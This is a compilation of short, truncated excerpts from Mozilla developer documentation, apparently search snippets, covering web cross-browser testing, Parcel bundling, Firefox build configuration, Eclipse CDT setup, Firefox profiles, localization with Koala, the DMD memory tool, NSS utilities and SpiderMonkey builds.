...age techniques. Another difficulty that can present problems is browser support for the features that make the above techniques possible. media queries are not supported in IE 8 or less, so if you want to use a mobile first layout and have the desktop layout then apply to old IE versions, you'll have to apply a media query polyfill to your page, like css3-mediaqueries-js, or Respond.js. Finding help There are many other issues you'll encounter with HTML and CSS, making knowledge of how to find answers online invaluable. Among the best sources of support information are the Mozilla Developer Network (that's where you are now!), stackoverflow.com, and caniuse.com. To use the Mozilla Developer Network (MDN), most people do a search engine search of the technology they are trying to find info...
...ng a cross-browser video player. caniuse.com provides support information, along with a few useful external resource links. For example, see http://caniuse.com/#search=video (you just have to enter the feature you are searching for into the text box). stackoverflow.com (SO) is a forum site where you can ask questions and have fellow developers share their solutions, look up previous posts, and help other developers. You are advised to look and see if there is an answer to your question already, before posting a new question. For example, we searched for "cross browser html5 video" on SO, and very quickly came up with HTML5 Video with full cross browser compatibility. Aside from that, try searching your favorite search engine for an answer to your problem. It is often useful to search for s...
Handling common JavaScript problems - Learn web development
sk runner to automate testing tools in a later article.) See ESLint integrations for ESLint options; JSHint is supported out of the box by Grunt, and also has other integrations available, e.g. JSHint loader for Webpack. Note: ESLint takes a bit more setup and configuration than JSHint, but it is more powerful too. Browser developer tools Browser developer tools have many useful features for helping to debug JavaScript. For a start, the JavaScript console will report errors in your code. Make a local copy of our broken-ajax.html example (see the source code also). If you look at the console, you'll see the error message "Uncaught TypeError: can't access property "length", heroes is undefined", and the referenced line number is 49. If we look at the source code, the relevant code section...
...PIs for example start to manipulate streams of raw video and audio data. These are available in IE10 and above, and all modern browsers. There are also many new APIs appearing in recent browsers, which don't work in older browsers, for example: IndexedDB API, Web Storage API, and others for storing website data on the client-side. Web Workers API for running JavaScript in a separate thread, helping to improve performance. WebGL API for real 3D graphics. Web Audio API for advanced audio manipulation. WebRTC API for multi-person, real-time video/audio connectivity (e.g. video conferencing). There are a few strategies for handling incompatibilities between browsers relating to feature support; let's explore the most common ones. Note: These strategies do not exist in separate silos -...
...hild(js); } This function creates a new <script> element, then sets its src attribute to the path we specified as the first argument ('polyfills.js' when we called it in the code above). When it has loaded, we run the function we specified as the second argument (main()). If an error occurs in the loading of the script, we still call the function, but with a custom error that we can retrieve to help debug a problem if it occurs. Note that polyfills.js is basically the two polyfills we are using put together into one file. We did this manually, but there are cleverer solutions that will automatically generate bundles for you -- see Browserify (see Getting started with Browserify for a basic tutorial). It is a good idea to bundle JS files into one like this -- reducing the number of HTTP requ...
...You can look up what browsers require prefixes for different JavaScript/API features on MDN reference pages, and sites like caniuse.com. If you are unsure, you can also find out by doing some testing directly in browsers. For example, try going into your browser's developer console and start typing window.AudioContext If this feature is supported in your browser, it will autocomplete. Finding help There are many other issues you'll encounter with JavaScript; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's Finding help section for our best advice. Summary So that's JavaScript. Simple huh? Maybe not so simple, but this article should at least give you a start, and some ideas on how to tackle the JavaScript-related problems you will...
Package management basics - Learn web development
r project using a simple <script> element, but this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the web. A bundle is the term that's generally used to refer to a single file on your web server that contains all the JavaScript for your software -- typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors' browser. In addition, what happens if you find a better tool that you want to use instead of the current one, or a new version of your dependency is released that you want to update to? This is not too painful for a couple of dependencies, but in larger projects with many dependencies this kind of thing can ...
...n. So long as we know the package name, we can use it in our code and Parcel will go off, fetch, and install (actually "copy") the package into our local directory (under node_modules). Building our code for production However, this code is not ready for production. Most build tooling systems will have a "development mode" and a "production mode". The important difference is that a lot of the helpful features you will use in development are not needed in the final site, so will be stripped out for production, e.g. "hot module replacement", "live reloading", and "uncompressed and commented source code". Though far from exhaustive, these are some of the common web development features that are very helpful at the development stage, but are not very useful in production. In production, they w...
... following command: parcel build index.html You should see an output like so: ? Built in 9.35s. dist/my-project.fb76efcf.js.map 648.58 KB 64ms dist/my-project.fb76efcf.js 195.74 KB 8.43s dist/index.html 288 B 806ms Again, the destination for our production files is the dist directory. Reducing your app's file size However, as with all tools that "help" developers there's often a trade off. In this particular case it's the file size. The JavaScript bundle my-project.fb76efcf.js is a whopping 195K -- very large, given that all it does is print a line of text. Sure there's some calculation, but we definitely don't need 195K worth of JavaScript to do this!. When you use development tooling it's worth questioning whether they're doing the right th...
...will search for command line tools that are locally installed to the project before trying to find them through conventional methods (where your computer will normally store and allow software to be found). You can learn more about the technical intricacies of the run command, although in most cases your own scripts will run just fine. You can add all kinds of things to the scripts property that help you do your job. We certainly have, and others have too. Summary This brings us to the end of our tour of package managers. Our next move is to build up a sample toolchain, putting all that we've learnt so far into practice. Previous Overview: Understanding client-side tools Next ...
Configuring Build Options
ample below the filename was not mozconfig. Regardless of the name of the actual file you use, we refer to this file as the mozconfig file in the examples below. Setting the mozconfig path: export MOZCONFIG=$HOME/mozilla/mozconfig-firefox Calling the file .mozconfig (with a leading dot) is also supported, but this is not recommended because it may make the file harder to find. This will also help when troubleshooting because people will want to know which build options you have selected and will assume that you have put them in your mozconfig file. mozconfig contains two types of options: Options prefixed with mk_add_options are passed to client.mk. The most important of these is MOZ_OBJDIR, which controls where your application gets built (also known as the object directory). Opti...
...you are a developer who wants to hack the source code, you probably want a non-optimized build with extra debugging macros. There are many options recognized by the configure script which are special-purpose options intended for embedders or other special situations, and should not be used to build the full suite/XUL applications. The full list of options can be obtained by running ./configure --help. Warning: Do not use a configure option unless you know what it does. The default values are usually the right ones. Each additional option you add to your mozconfig file reduces the chance that your build will compile and run correctly. The following build options are very common: Optimization ac_add_options --enable-optimize Enables the default compiler optimization options N...
...ing patches. People developing patches (especially in C++) should generally use this option. ac_add_options --disable-optimize Disables compiler optimization. This makes it much easier to step through code in a debugger. ac_add_options --enable-debug-js-modules Enable only JavaScript assertions. This is useful when working locally on JavaScript-powered components like the DevTools. This will help catch any errors introduced into the JS code, with less of a performance impact compared to the --enable-debug option. You can make an optimized build with debugging symbols. See Building Firefox with Debug Symbols. Extensions ac_add_options --enable-extensions=default|all|ext1,ext2,-skipext3 There are many optional pieces of code that live in extensions/. Many of these extensions are now ...
... with thunderbird typeaheadfind is not compatible with any toolkit app (Firefox, Thunderbird) Unless you know which extensions are compatible with which apps, do not use the --enable-extensions option; the build system will automatically select the proper default set of extensions. Tests ac_add_options --disable-tests By default, many auxiliary test applications are built, which can help debug and patch the mozilla source. Disabling these tests can speed build time and reduce disk space considerably. Developers should generally not use this option. Localization mk_add_options MOZ_CO_LOCALES=ISOcode TBD. ac_add_options --enable-ui-locale=ISOcode TBD. ac_add_options --with-l10n-base=/path/to/base/dir TBD. Other Options mk_add_options AUTOCLOBBER=1 If a clobber woul...
Eclipse CDT
e context sensitive and that any changes you make may be ignored if they conflict with existing bindings, or if they are overridden by a binding for a more specific context. For example, changing the Find Next command to cmd-G/ctrl-G is not sufficient. For that to work you also either need to find the existing bindings for that key combination (using the Bindings column to sort by key combination helps with this) and remove them, or else you need to make your binding very specific by setting the "When" field to "C/C++ Editor" instead of the more general "Editing Text". Opening files You can quickly open a file by name using Cmd-Shift-R/Ctrl-Shift-R. Although Eclipse doesn't do fuzzy matching when you type a file name, it does allow you to use wildcards. To quickly switch between a source fi...
...orking directory and the arguments that were passed to it to reliably obtain the information it needs for each source file that is compiled. This would eliminate the requirement for non-parallelized, non-silenced builds. You could also build from Eclipse and get the benefits that that brings. How can I run a more recent CDT version? This can be useful if you need to get certain bug fixes, or to help with testing to make sure that new Eclipse bugs that affect its use with Mozilla don't get shipped. If you've downloaded an Eclipse Developer build then you can use Eclipse's software update mechanism to update your developer snapshot to the latest nightly for that developer branch. To do that, carry out the following steps. From Eclipse's "Help" menu select "Install New Software...", then in th...
...indow that opens, click "Add", and in the prompt set Name to something like "Nightly" and Location to something like "http://download.eclipse.org/tools/cd...s/juno/nightly" (change "juno" to the current developer branch). Click "OK", then "OK" again. Type "Nightly" into the "Work with" field and select the repository that you just added. (If it doesn't appear, close the window, reopen it from the Help menu, and try again.) A "CDT Main Features" option should now have been added in the area below. Tick this (all of its sub-options should then be ticked), click "Next" twice, accept the license agreement, and then click "Finish". Eclipse should now update itself and ask you to restart. Troubleshooting: If you get an error when trying to update, try clicking "Available Software Sites" in the "Ins...
...oblems people have encountered, and suggestions for solutions. Problem Occurred (Java heap space) If Eclipse becomes glacially slow or hangs and then you get this error message, see the Increasing memory limits section above. If you already carried out the instructions in that section, then double check that your changes to Eclipse's memory limits actually took effect and are present in Eclipse/Help > About Eclipse > Installation Details > Configuration. If they did, then maybe you need to increase the limits still further for your OS/JVM combination. Resource is out of sync with the file system If you get the message "Resource is out of sync with the file system", then you didn't set the "Refresh" options above in the Initial workspace preferences section. Either set those, or else refres...
Eclipse CDT Manual Setup
oing now so that it can be running while you continue with the instructions below. FAQ: Wait, why does Eclipse need an object directory?) Code assistance Out of the box, Eclipse can provide some code assistance for the Mozilla source, but it will be incomplete and often just plain broken. If you set up Eclipse as detailed below, you will experience much better results. Important background To help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some background on what IDEs need in order to provide advanced code assistance, and what Eclipse CDT needs in particular. To be able to provide really good code assistance for a project's source code, IDEs like Eclipse need to carry out a thorough static ana...
... source tree [rational], and that you choose a directory outside the Mozilla source. Something like $HOME/eclipse-workspaces/mozilla-tree-1, for example. After selecting an appropriate directory, click OK, then close the "Welcome" tab when the main Eclipse window opens. Before you proceed any further, check that your changes to Eclipse's memory limits have taken effect and are present in Eclipse/Help > About Eclipse > Installation Details > Configuration. To avoid confusion in this and the following sections, note that "workspace preferences" and "project properties" are different things (we'll get to the details below). Whenever you create a new workspace for a Mozilla source tree, you should be sure to turn off the following two settings in the workspace preferences (Window > Preferences,...
... currently understand Objective-C files (although there is a project that promises to add Objective-C support), so for now, this is the best we can do to give Eclipse a chance of expanding its understanding of the source into the Objective-C files. Select "General > Editors > Text Editors". If you want line numbers, tick "Show line numbers". If you want a column marker to mark the 80th column to help with formatting code to Mozilla's 80 character line limit, tick "Show print margin" and set the value to 80. Select "General > Workspace" and select "Refresh using native hooks or polling" and "Refresh on access" to prevent Eclipse giving you annoying "Resource is out of sync" messages when files change from under it due to Mercurial or other external activity. Select "C/C++ > Build > Console" ...
.... Once the indexer has finished (keep an eye on the Progress tab), sanity check that everything went as it should have by right-clicking the project in the Project Explorer tab and selecting "Index > Search For Unresolved Includes". If you get many more than 2000 unresolved includes (as of May 2012), then things have gone pretty wrong. You should be able to use the list of unresolved includes to help figure out what the problem is (see also the Parser errors section for more troubleshooting tips). Assuming everything went as expected, you should now find that Eclipse's code assistance works a whole lot better. :-) To test out the code assistance, see the Code assistance subsection of the Usage tips section below. To improve code assistance even more, see the Headers are only parsed once sub...
Developer guide
There are lots of ways to contribute to the Mozilla project: coding, testing, improving the build process and tools, or contributing to the documentation. This guide provides information that will not only help you get started as a Mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor. Documentation topics Getting Started A step-by-step beginner's guide to getting involved with Mozilla. For new Mozilla developers A directory of articles which are particularly helpful for new Mozilla developers. Working with Mozilla Source Code A code overview, how to get the code, and the coding style guide. Build Instructions How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications. Development process overvi...
...w Mozilla developers. Working with Mozilla Source Code A code overview, how to get the code, and the coding style guide. Build Instructions How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications. Development process overview An overview of the entire Mozilla development process. Managing multiple profiles When working with prerelease versions of Firefox, it's often helpful to have multiple Firefox profiles, such as one for each channel, or for different kinds of testing. Getting documentation updated How to ensure that documentation is kept up to date as you develop. Mozilla modules and module ownership This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected. Code snippets Useful cod...
... Mozilla modules and module ownership This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected. Code snippets Useful code samples for a wide variety of things you might need to figure out how to do. Mozilla development strategies Tips for how to make the most of your time working on the Mozilla project. Debugging Find helpful tips and guides for debugging Mozilla code. Performance Performance guides and utilities to help you make your code perform well (and to play nicely with others). The Mozilla platform Information about the workings of the Mozilla platform. Mozilla Much more additional information about Mozilla coding practices. Adding APIs to the navigator object How to augment the window.navigator ob...
...rocesses. Treeherder Treeherder shows the status of the tree (whether or not it currently builds successfully). Check this before checking in and out, to be sure you're working with a working tree. Perfherder Perfherder is used to aggregate the results of automated performance tests against the tree. Crash tracking Information about the Socorro crash reporting system. Callgraph A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically. Developer forums A topic-specific list of discussion forums and mailing lists where you can talk about Mozilla development issues. Mozilla Platform Development Cheat Sheet (archive.org) Brian Bondy's list of frequently referenced information for platform developers. Brian Bondy took down codefirefox.com, but t...
Multiple Firefox profiles
irefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of Firefox. You can find details about profiles on Mozilla's end-user support site. Reasons to have multiple profiles The casual user may want to have different profiles for work and personal use, or different family members. Having different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons. Web developers might want a secondary profile for testing websites, apps, or other projects on different Firefox channels. For example, you might want to have some extensions installed for Web development, but not for general-purpose Web browsing. While using the Nightly c...
...g. Aurora contains experimental features, which are not yet at beta quality. Nightly contains the latest code from Firefox developers and is the least stable channel. Third-party tools In addition to the built-in Profile Manager and the external Profile Manager, there are a few third-party tools that make working with multiple profiles easy. This list is by no means exhaustive. Please add any helpful tools you discover to the list! Mac OS X Multifirefox by Dave Martorana Profile management Determining the profile while Firefox is running To determine the profile of a currently-running Firefox instance in Windows, macOS or Linux, Type about:profiles into the browser URL search bar. The page presents a list of all of your profiles, each beginning with "Profile: " followed by its...
...refox to run at the same time, add -no-remote after the profile name. Once you are all done, click Ok. Do this for each icon you'd like to have a specific profile for. Once done, each one should automatically start with the specified profile. Linux There is no extremely straightforward way to create custom application launchers in Gnome 3 like there was in Gnome 2. The following tutorial will help get you going overall: Gnome 3 Custom application launcher. Once you get to the point of adding a new item, you can have the profile dialog show up every time or set the launcher to launch a specific profile. If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to set the command line for your new launcher. Set the "command"...
...nd a useful tutorial to set up custom launchers here: Managing Multiple Firefox Profiles in OSX. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Leave off the profile name if you want the profile selector to show up every time you launch. Setting up multiple profiles for different Firefox channels This section will be especially helpful if you are a developer, wanting to work with multiple channels, and each having their separate launcher. Windows In Windows, the Developer and Nightly builds get their own directory in the "Programs" folder, so you don't have to worry about where to store the downloaded files. However, all three will attempt to use the same profile by default. You won't want to keep this behavior, because th...
Localizing with Koala
For the purposes of this tutorial, the locale code that we will use will be called "x-testing". In a real-life situation, that would become for example "de" (for German) or "es-ES" (for Spanish in Spain). Translating to x-testing will basically consist of converting any strings to uppercase, for example "File" in original version (en-US) will become "FILE" in x-testing. We will translate a small piece of the UI found in the search bar. ...
...when you hover over the magnifying glass icon in the search bar. Once you translated the searchEndCap.label entity, add the other one from this file, i.e. cmd_engineManager.label. You can right-click it and choose "add entity" as you did previously, or just double-click the entity name to add it to the file. Note how Koala is smart enough to insert this entity before searchEndCap.label. This is helpful for keeping the localization files clean and tidy at all times. The string to translated is selected so that you can translate it without any further clicking. When you are done with translating the cmd_engineManager.label entity, save the file. Now let's create the other file. Double-click on search.properties and click "OK" when Koala asks if you want to create this file. From the sidebar, ...
...the repository that you want to track in Mercurial, you will need to "hg commit" these new files so as to create a new revision in the repository's history. This process need to be repeated for every new file that you add. Also, removing files works in a similar manner: not only do you have to delete the file, but also you need to tell Mercurial to stop tracking the file with "hg remove". See "hg help add", "hg help remove" and "hg help addremove" for more details. Let's now add and commit these two files from Koala. In the "locale files" view in the sidebar, right click on search.properties and choose "add file to repository". This will execute "hg add" on this file in the background. Koala will show you a message if the "hg add" was successful. Instead of adding single files, you can also...
...se "commit folder". (You could also commit each file individually if you felt like it.) Koala will ask you to type in a commit message. It is a good practice to be descriptive about the changes you made in this revision. A good way of doing that is to ask yourself a question: "If I was a new person to this project and new nothing about the work already done in this repository, would this message help me understand what changes were made in this revision?". Type a good commit message and click "OK". Koala will execute "hg commit" in the background and will let you know that the files were successfully committed. If you now go to the command line, "hg status" will not display anything (because there are no uncommitted changes in the repository). If you run "hg log" however, you will see you f...
Mozilla Development Strategies
Warning: The content of this article may be out of date. It has not been updated for usage of Mercurial (instead of CVS). Work on the most important bugs first Everyone likes to check in. But keep in mind that your checkin rate isn't everything. It's better to fix one data loss bug, crasher, or performance bug that really affects the user than edge case bugs that are rarely seen or minor bugs. ...
...to add the dev-doc-needed keyword to the bug (or ask someone to do it, if you don't have editbugs privileges on Bugzilla). This puts the bug on the radar of our documentation team to ensure that once the bug is resolved, the documentation will be updated appropriately. If you don't mark the bug, your work might go unnoticed by the docs team! Of course, our documentation is a wiki; you can really help by updating the documentation yourself. Even if you're not comfortable with your writing skills, keep in mind that our helpful, happy documentation gnomes will follow along behind you and clean up for you. Note: You can mark the bug with this keyword at any time; you don't need to wait until it's actually fixed. Take extra time to do it right the first time It's also better to come up with one...
...ded up. And, shorter fixes aren't necessarily better than longer ones. Having parallel trees should allow you to work on other items while you are awaiting reviews. Get advice before working on a patch or feature, instead of after If you are blocked, or stumped as to what to work on, talk to a lead sooner rather than later. Most likely they will have a bug they can hand off to you, or they can help get you unblocked. Since they are going to be reviewing your code later, run your plan of attack by them first. It's better to have an idea rejected, than a big patch. If you are blocked, but have something worth checking in, check in using #ifdef, prefs, or "alternative" files Sometimes you'll work on something, but you can't land it because something else is blocking you. You can still land (...
...ttack by them first. It's better to have an idea rejected, than a big patch. If you are blocked, but have something worth checking in, check in using #ifdef, prefs, or "alternative" files Sometimes you'll work on something, but you can't land it because something else is blocking you. You can still land (assuming you get reviews) if the code isn't on by default. This also makes it easier to get help on the problem. It's easier to tell someone set a pref, or apply a small patch, or set a #define than to apply a monster patch. For C++, use #define, #ifdef, #else and #endif For XUL / JS, and you're doing something major, add your new files to the tree and then have it be a simple jar.mn patch to enable it. You can also have code that checked in, but controlled with a pref and off by default.
DMD
Originally, this was the only mode that DMD had, which explains DMD's name. This is the default mode. "Live" mode. In this mode, DMD tracks the current contents of the heap. ...
...". This tells you how DMD was invoked, i.e. what options were used. "Twice-reported stack trace records". This tells you which heap blocks were reported twice or more. The presence of any such records indicates bugs in one or more memory reporters. "Unreported stack trace records". This tells you which heap blocks were not reported, which indicate where additional memory reporters would be most helpful. "Once-reported stack trace records": like the "Unreported stack trace records" section, but for blocks reported once. "Summary": gives measurements of the total heap, and the unreported/once-reported/twice-reported portions of it. The "Twice-reported stack trace records" and "Unreported stack trace records" sections are the most important, because they indicate ways in which the memory re...
...arate script, block_analyzer.py, can be used to find out information about which blocks refer to a particular block. dmd.py --clamp-contents needs to be run on the log first. See this other page for an overview of how to use heap scan mode to fix a leak involving refcounted objects. Options Runtime When you run mach run --dmd you can specify additional options to control how DMD runs. Run mach help run for documentation on these. The most interesting one is --mode. Acceptable values are dark-matter (the default), live, cumulative, and scan. Another interesting one is --stacks. Acceptable values are partial (the default) and full. In the former case most blocks will not have an allocation stack trace recorded. However, because larger blocks are more likely to have one recorded, most alloca...
...hich cases allocations will be split across more records, but you will have more context. There is no single best value, but values in the range 2..10 are often good. The maximum is 24. -a / --ignore-alloc-frames. Many allocation stack traces start with multiple frames that mention allocation wrapper functions, e.g. js_calloc() calls replace_calloc(). This option filters these out. It often helps improve the quality of the output when using a small --max-frames value. -s / --sort-by. This controls how records are sorted. Acceptable values are usable (the default), req, slop and num-blocks. --clamp-contents. For a heap scan log, this performs a conservative pointer analysis on the contents of each block, changing any value that is a pointer into the middle of a live block into a ...
powermetrics
178.65 75.85 17.29 Terminal 694 9.86 79.94 0.00 0.00 4.39 2.20 0.00 powermetrics 84694 1.21 31.53 0.00 0.00 0.20 0.20 0.00 com.google.Chrome 489 233.83 48.10 25.95 0.00 Google Chrome Helper 84688 181.57 92.81 0.00 0.00 23.95 12.77 0.00 Google Chrome 84681 57.26 76.07 4.39 0.00 23.75 12.97 0.00 Google Chrome Helper 84685 0.13 48.08 0.00 0.00 0.40 0.20 0.00 kernel_coalition 1 128.64 ...
...6.48 26.65 com.apple.WebKit.WebContent 84679 64.21 84.69 0.00 0.00 104.19 54.89 26.66 com.apple.WebKit.Networking 84678 26.89 58.89 0.40 0.00 1.60 0.00 0.00 Safari 84676 1.56 55.74 0.00 0.00 2.59 1.40 0.00 com.apple.Safari.SearchHelper 84690 0.15 49.49 0.00 0.00 0.20 0.20 0.00 org.mozilla.firefox 482 76.56 124.34 63.47 0.00 firefox 84496 76.70 89.18 10.58 5.59 124.55 63.48 0.00 This sample was taken while the following programs were running: Firefox B...
...= _pkg_ (cores + _gpu_ + other) + _ram_ W #01 17.14 W = 14.98 ( 5.50 + 1.19 + 8.29) + 2.16 W 1 sample taken over a period of 30.000 seconds Name ID CPU ms/s User% Deadlines (<2 ms, 2-5 ms) Wakeups (Intr, Pkg idle) GPU ms/s com.google.Chrome 500 439.64 585.35 218.62 19.17 Google Chrome Helper 67319 284.75 83.03 296.67 0.00 454.05 172.74 0.00 Google Chrome Helper 67304 55.23 64.83 0.03 0.00 9.43 4.33 19.17 Google Chrome 67301 63.77 68.09 29.46 0.13 76.11 22.26 0.00 Google Chrome Helper 67320 38.30 66.70 17.83 0...
... 46.05 1.69 com.apple.WebKit.WebContent 67372 190.15 79.34 2.02 0.14 129.28 53.79 2.33 com.apple.WebKit.Networking 67292 65.23 52.74 0.07 0.00 4.33 1.40 0.00 Safari 67290 29.09 77.65 0.23 0.00 7.13 3.37 0.00 com.apple.Safari.SearchHelper 67371 13.88 91.18 0.00 0.00 0.36 0.05 0.00 com.apple.WebKit.WebContent 67297 0.81 56.84 0.10 0.00 2.20 1.30 0.00 com.apple.WebKit.WebContent 67293 0.46 76.40 0.03 0.00 0.57 0.20 0.00 com.apple.WebKit.WebContent 67295 0.24 67.72 0.00 0.00 ...
Index
ss subsets of the input to NSS. The data will be processed and either returned directly or sent to a callback function registered in the context. When done, you call a finalization function that will flush out any pending data and free the resources. This line is a placeholder for future sections that should explain how libpkix works and is designed. If you want to work with NSS, it's often helpful to use the command line utilities that are provided by the NSS developers. There are tools for managing NSS databases, for dumping or verifying certificates, for registering PKCS#11 modules with a database, for processing CMS encrypted/signed messages, etc. For example, if you wanted to create your own pair of keys and request a new certificate from a CA, you could use certutil to create an...
...NSS with Firefox.) This page attempts to provide an informal explanation of what it is, who would use it, and why. 12 Function_Name NSS No summary! 13 Getting Started With NSS Samples WIP Network Security Services (NSS) is a base library for cryptographic algorithms and secure network protocols used by Mozilla software. Would you like to get involved and help us to improve the core security of Mozilla Firefox and other applications that make use of NSS? We are looking forward to your contributions! We have a large list of tasks waiting for attention, and we are happy to assist you in identifying areas that match your interest or skills. You can find us on Mozilla IRC in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsg...
...ose value] ] [[--norecurse] ] [[--leavearc] ] [[-j directory] ] [[-Z jarfile] ] [[-O] ] [[-p password] ] [directory-tree] [archive] Description The Signing Tool, signtool, creates digital signatures and uses a Java Archive (JAR) file to associate the signatures with files in a directory. Electronic software distribution over any network involves potential security problems. To help address some of these problems, you can associate digital signatures with the files in a JAR archive. Digital signatures allow SSL-enabled clients to perform two important operations: * Confirm the identity of the individual, company, or other entity whose digital signature is associated with the files * Check whether the files have been tampered with since being signed If yo...
... Read an alternate PQG value from the specified file when generating DSA key pairs. If this argument is not used, certutil generates its own PQG value. PQG files are created with a separate DSA utility. -q curve-name Set the elliptic curve name to use when generating ECC key pairs. A complete list of ECC curves is given in the help (-H). -r Display a certificate's binary DER encoding when listing information about that certificate with the -L option. -s subject Identify a particular certificate owner for new certificates or certificate requests. Bracket this string with quotation marks if it contains spaces. The subject identification format follows RFC ...
SpiderMonkey Build Documentation
und, err: true This is because, starting from Mohave, headers are no longer installed in /usr/include. Refer the release notes under Command Line Tools -> New Features The release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macOS will have to be adapted to look for headers in the SDK Until then, the following should help, open /Library/Developer/CommandLineTools/Packages/macOS_SDK_headers_for_macOS_10.14.pk This builds an executable named js in the directory build-release/dist/bin. You can test it with dist/bin/js --help, which displays a help page. At this point, you're ready to run and try out the shell. On Mac, Linux, or UNIX, you can install SpiderMonkey on your system with the additional command make in...
...his name should end with "_DBG.OBJ" to make the version control system ignore it. mkdir build_DBG.OBJ cd build_DBG.OBJ /bin/sh ../configure.in --enable-debug --disable-optimize # Use "mozmake" on Windows make You can also build debug builds of SpiderMonkey with the JS_GC_ZEAL option, which adds a new built-in function to SpiderMonkey that lets you configure zealous garbage collection. ...
...y with the JS_GC_ZEAL option, which adds a new built-in function to SpiderMonkey that lets you configure zealous garbage collection. This can help debug memory leaks and other memory-related problems. See JS_SetGCZeal() for details. For a list of other available build options, type (assuming the current working directory is one of the above-created build directories): /bin/sh ../configure.in --help Generating a Compilation Database Some tools (like IDEs, static analyzers and refactoring tools) consume a file called compile_commands.json which contains a description of all the pieces required to build a piece of software so that tools don't have to also understand a build system. To generate a compile_commands.json with the SpiderMonkey configure script, enable the CompileDB backend, lik...
...d shell with the proper -x64.bat script in order for the 64-bit compilers to be in your PATH. Whatever compiler and flags you pass to configure are recorded in the generated makefile, so you don't need to specify them again until you re-run configure. Building your application While "How to build your complete application" is clearly out of scope for this document, here are some tips that will help get you on your way: The SpiderMonkey developers frequently and deliberately change the JSAPI ABI. You cannot use headers built for one version/configuration of JSAPI to create object files which will be linked against another. Support for JS_THREADSAFE was recently removed, and threadsafe builds are now enabled by default. The js-config script, described below, is the recommended way to det...
Introduction to the JavaScript shell
s GC parameter name to value. For more information, see the C/C++ functions JS_GetGCParameter and JS_SetGCParameter. gczeal(level) Added in SpiderMonkey 1.8 DEBUG only. Set the level of GC zeal, a debugging feature. This can be 0 for normal periodic garbage collection, 1 for very frequent GC, or 2 for extremely frequent GC. ...
... intern(string) Internalizes the specified string into the atom table. Every string has a unique identifier, called an atom. ...
... intern(string) Internalizes the specified string into the atom table. Every string has a unique identifier, called an atom. This system makes it easier to do comparisons between strings. ...
...g "You entered " 00051: 15 getvar 0 00054: 15 add 00055: 15 string " and " 00058: 15 add 00059: 15 getvar 1 00062: 15 add 00063: 15 string "\\n" 00066: 15 add 00067: 15 call 1 00070: 15 pop 00071: 15 stop dumpheap(([fileName[, start[, toFind[, maxDepth[, toIgnore]]]]]) Dump GC information. This is a thin wrapper for JS_DumpHeap. gczeal(zeal) Enable extra-frequent GC, to help find GC hazards. zeal is an integer. The meaning is the same as for the parameter to JS_SetGCZeal. notes([function]) Shows the source notes for the specified function. Source notes contain information that map the bytecode to the source code, which is used when decompiling the code, such as when using the dissrc() function. ...
JS_NewRuntime
Initializes the JavaScript runtime. Syntax JSRuntime * JS_NewRuntime(uint32_t maxbytes, uint32_t maxNurseryBytes = JS::DefaultNurseryBytes, JSRuntime *parentRuntime = nullptr); JSRuntime * JS_NewRuntime(uint32_t maxbytes, JSUseHelperThreads useHelperThreads, JSRuntime *parentRuntime = nullptr); // Deprecated since JSAPI 32 Name Type Description maxbytes uint32 Maximum number of allocated bytes after which garbage collection is run. maxNurseryBytes uint32 Nursery size in bytes. maxNurseryBytes is rounded down to a multiple of chunk size. Added in SpiderMonkey 38 parentRuntime JSRuntime * The topmost parent or nullptr . Added in SpiderMonkey 31 Description JS_NewRuntime initializ...
...fies the number of allocated bytes after which garbage collection is run. If parentRuntime is specified, the resulting runtime shares significant amounts of read-only state (the self-hosting and initial atoms compartments). It is recommended to make use of this for every runtime in a process after the first one. The returned JSRuntime can be used from the calling thread only. (The engine may use helper threads internally, though.) On success, JS_NewRuntime returns a pointer to the newly created runtime, which the caller must later destroy using JS_DestroyRuntime. Otherwise it returns NULL. Notes Ordinarily, JS_NewRuntime should be the first JSAPI call in an application, and JS_DestroyRuntime and JS_ShutDown should be the last ones. See Also MXR ID Search for JS_NewRuntime JS_Init JS_...
...Runtime returns a pointer to the newly created runtime, which the caller must later destroy using JS_DestroyRuntime. Otherwise it returns NULL. ...
...sing JS_DestroyRuntime. Otherwise it returns NULL. Notes Ordinarily, JS_NewRuntime should be the first JSAPI call in an application, and JS_DestroyRuntime and JS_ShutDown should be the last ones. ...
WebReplayRoadmap
eb Replay, along with their UI. The low level, yet flexible architecture (described here) provides an extremely powerful platform for implementing debugging and analysis features. We would like to use Web Replay to radically improve not just the debugging experience but the entire web development experience. To that end, this document will be revised over time as we find new and better ways of helping developers. Time Travel Features More features are planned for the timeline, as described below. Retroactive Console Logging Console logging is one of the primary tools most developers use to debug a page. Seeing messages in the console provides a simple and intuitive view into the order in which events have happened. Without time travel, using the console requires repeatedly updating th...
.... This restriction is in place to ensure that JS executes the same way when replaying as it did while recording. Dynamic Analysis Features An important but as-yet unexploited advantage of being able to exactly replay a Web Replay recording is that the recording can be analyzed without overhead affecting the user's experience. This section describes some analyses that could be performed and be helpful for developers who are either debugging a problem, or trying to understand or improve a complex code base. Comparing Executions (not yet implemented) Comparing the behavior of a recording that exhibits a bug with a second recording that doesn't exhibit the bug should help with quickly locating the source of the problem. Doing this well will require some experimentation, but in many cases th...
... developing a complex web app it is often hard to find where a function is called, the callees at a call site, where some data in an object came from or where it is used, or what type a value has. These questions can be answered by analyzing one or more recordings to study their behavior in detail. If the debugger could perform this analysis then it could show this information to developers and help them understand the app even when they are not actively debugging a particular recording. Static Type Integration (not yet implemented) Static type systems like Flow and TypeScript are great and really useful for managing an app's codebase, but they are unsound by design, and it is pretty easy to satisfy the type system and yet have different types in practice. A recording can be analyzed for ...
